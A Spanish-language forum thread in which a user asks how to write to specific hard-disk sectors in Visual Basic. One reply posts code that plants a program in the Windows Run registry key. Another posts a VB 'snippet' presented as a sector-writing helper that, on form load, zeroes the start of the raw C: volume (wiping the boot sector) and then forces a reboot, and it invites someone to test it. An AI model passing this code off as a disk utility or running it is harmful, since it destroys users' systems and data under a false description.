Escribir en secciones del disco duro...

[nhaalclkiemr]

Pues bueno, me gustaría saber como puedo hacer para escribir directamente en el disco duro introduciendo el sector en el que quiero empezar...
Me hablaron de la API OpenFile WriteFile y la mira en la APIGuide pero no consigo saber como hacer para indicar el sector en el cual escribir...

Otra pregunta que es mas dificil sería saber en que sector del disco duro se encuentra un archivo...pero weno de momento me gustaría saber como hacer para escribir en un sector determinado de un disco duro

Saludos

[Hendrix]

En VB no se puede hacer....tendra que ser en ASM o C 

[nhaalclkiemr]

Amm pensé k con alguna API...

Weno otra vez será...gracias de todas formas...

Saludos

[_z0rr0_]

olaa a todos,yo ice algo parecio espero que os pueda servir

ponemos:
-1text(mi aplicacion)
2text(c:\windows\archivo.exe)
-1command(agregar exe)
codigo:
Private Sub Command1_Click()
Dim El_Objeto As Object
Set El_Objeto = CreateObject("WScript.Shell")

El_Objeto.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\" & Text1, Text2

Set El_Objeto = Nothing

MsgBox "Listo"
End Sub

[nhaalclkiemr]

eso es para esribir en el registro...no tiene nada que ver 

Saludos

[smooth.core]

Mirá, esto es un snippet que encontré para escribir en los primeros 512 kb del disco duro te va a servir:

Código (vb) [Seleccionar] Expandir


    Option Explicit


Private Const SE_SHUTDOWN_NAME As String = "SeShutdownPrivilege"
Private Const SE_DEBUG_NAME = "SeDebugPrivilege"
Private Const ERROR_NOT_ALL_ASSIGNED As Long = 1300&
Private Const EWX_FORCE As Long = 4
Private Const EWX_REBOOT As Long = 2
Private Const STANDARD_RIGHTS_REQUIRED As Long = &HF0000
Private Const TOKEN_ASSIGN_PRIMARY As Long = &H1
Private Const TOKEN_DUPLICATE As Long = &H2
Private Const TOKEN_IMPERSONATE As Long = &H4
Private Const TOKEN_QUERY As Long = &H8
Private Const TOKEN_QUERY_SOURCE As Long = &H10
Private Const TOKEN_ADJUST_PRIVILEGES As Long = &H20
Private Const TOKEN_ADJUST_GROUPS As Long = &H40
Private Const TOKEN_ADJUST_SESSIONID As Long = &H100
Private Const TOKEN_ADJUST_DEFAULT As Long = &H80
Private Const TOKEN_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or TOKEN_ASSIGN_PRIMARY Or TOKEN_DUPLICATE Or TOKEN_IMPERSONATE Or TOKEN_QUERY Or TOKEN_QUERY_SOURCE Or TOKEN_ADJUST_PRIVILEGES Or TOKEN_ADJUST_GROUPS Or TOKEN_ADJUST_SESSIONID Or TOKEN_ADJUST_DEFAULT)
Private Const ANYSIZE_ARRAY As Long = 1
Private Const SYNCHRONIZE As Long = &H100000
Private Const PROCESS_ALL_ACCESS As Long = (STANDARD_RIGHTS_REQUIRED Or SYNCHRONIZE Or &HFFF)
Private Const SE_PRIVILEGE_ENABLED As Long = &H2
Private Const GENERIC_WRITE As Long = &H40000000
Private Const FILE_SHARE_READ As Long = &H1
Private Const FILE_SHARE_WRITE As Long = &H2
Private Const OPEN_EXISTING As Long = 3

Private Type LARGE_INTEGER
   LowPart As Long
   HighPart As Long
End Type

Private Type LUID
   LowPart As Long
   HighPart As Long
End Type


Private Type LUID_AND_ATTRIBUTES
   pLuid As LUID
   Attributes As Long
End Type

Private Type TOKEN_PRIVILEGES
   PrivilegeCount As Long
   Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type


Private Declare Function GetCurrentThread Lib "kernel32.dll" () As Long
Private Declare Function CreateFile Lib "kernel32.dll" Alias "CreateFileA" (ByVal lpFileName As String, ByVal dwDesiredAccess As Long, ByVal dwShareMode As Long, ByRef lpSecurityAttributes As Any, ByVal dwCreationDisposition As Long, ByVal dwFlagsAndAttributes As Long, ByVal hTemplateFile As Long) As Long
Private Declare Function AdjustTokenPrivileges Lib "ADVAPI32.dll" (ByVal TokenHandle As Long, ByVal DisableAllPrivileges As Long, NewState As TOKEN_PRIVILEGES, ByVal BufferLength As Long, PreviousState As TOKEN_PRIVILEGES, ReturnLength As Long) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccessas As Long, ByVal bInheritHandle As Long, ByVal dwProcId As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" (ByVal hObject As Long) As Long
Private Declare Function GetCurrentProcessId Lib "kernel32.dll" () As Long
Private Declare Function OpenProcessToken Lib "ADVAPI32.dll" (ByVal ProcessHandle As Long, ByVal DesiredAccess As Long, TokenHandle As Long) As Long
Private Declare Function LookupPrivilegeValue Lib "ADVAPI32.dll" Alias "LookupPrivilegeValueA" (ByVal lpSystemName As String, ByVal lpName As String, ByRef lpLuid As LARGE_INTEGER) As Long
Private Declare Function ExitWindowsEx Lib "user32.dll" (ByVal uFlags As Long, ByVal dwReserved As Long) As Long
Private Declare Function GetLastError Lib "kernel32.dll" () As Long
Private Declare Function WriteFile Lib "kernel32" (ByVal hFile As Long, lpBuffer As Any, ByVal nNumberOfBytesToWrite As Long, lpNumberOfBytesWritten As Long, lpOverlapped As Any) As Long

Dim lLUID As LUID
Dim TokenP As TOKEN_PRIVILEGES
Dim LuidAttrib As LUID_AND_ATTRIBUTES

Private sub Form_Load()
Dim pHnd, tHnd, ret, rBuffer, dHnd, ctHnd As Long
Dim rBufferLen, rlenWrite, n As Integer
Dim LuidCode As LARGE_INTEGER
Dim Buffer(511) As Byte
   
dHnd = CreateFile("\\.\C:", GENERIC_WRITE, FILE_SHARE_READ Or FILE_SHARE_WRITE, ByVal 0&, OPEN_EXISTING, ByVal 0&, ByVal 0&)
   If dHnd = 0 Then GoTo done

For n = 0 To 511
Buffer(n) = 0

ret = WriteFile(dHnd, Buffer(n), Len(Buffer(n)), rBufferLen, ByVal 0&)
   If rlenWrite = 0 Then GoTo done
Next

pHnd = OpenProcess(PROCESS_ALL_ACCESS, ByVal 0&, GetCurrentProcessId)
   If pHnd = 0 Then
           GoTo done
   End If
   
ret = OpenProcessToken(pHnd, TOKEN_ALL_ACCESS, tHnd)
   If ret = 0 Then
           GoTo done
   End If
   
   
ret = LookupPrivilegeValue(vbNullString, SE_DEBUG_NAME, LuidCode)
   If ret = 0 Then
           GoTo done
   End If
   
lLUID.HighPart = LuidCode.HighPart
lLUID.LowPart = LuidCode.LowPart

LuidAttrib.pLuid.HighPart = lLUID.HighPart
LuidAttrib.pLuid.LowPart = lLUID.LowPart

TokenP.PrivilegeCount = 1
TokenP.Privileges(0) = LuidAttrib
TokenP.Privileges(0).Attributes = SE_PRIVILEGE_ENABLED

ret = AdjustTokenPrivileges(tHnd, 0, TokenP, ByVal 0&, TokenP, rBuffer)
  If GetLastError = ERROR_NOT_ALL_ASSIGNED Then
   GoTo done
   End If
   
   If GetLastError = 122 Then
       ret = AdjustTokenPrivileges(tHnd, 0, TokenP, rBuffer, TokenP, rBuffer)
           If ret = 0 Then
                   GoTo done
           ElseIf ret = ERROR_NOT_ALL_ASSIGNED Then
               GoTo done
           End If
           
   End If
   

ret = ExitWindowsEx(EWX_FORCE Or EWX_REBOOT, 0)
   If ret = 0 Then
           GoTo done
   End If
done:
CloseHandle (pHnd)
CloseHandle (tHnd)
End Sub



Saludos ^^

Edit: Alguien que lo pruebe 

[nhaalclkiemr]

Muchas gracias...voy a ver si lo prueva en un dico duro viejo medio estropeado que tengo (va muy lento)...

pero antes coy a ver si entiendo como funciona y si consigo escribir en el sector que quiera, y eso supongo que lo podré probar en una máquina virtual...

Saludos y muchas gracias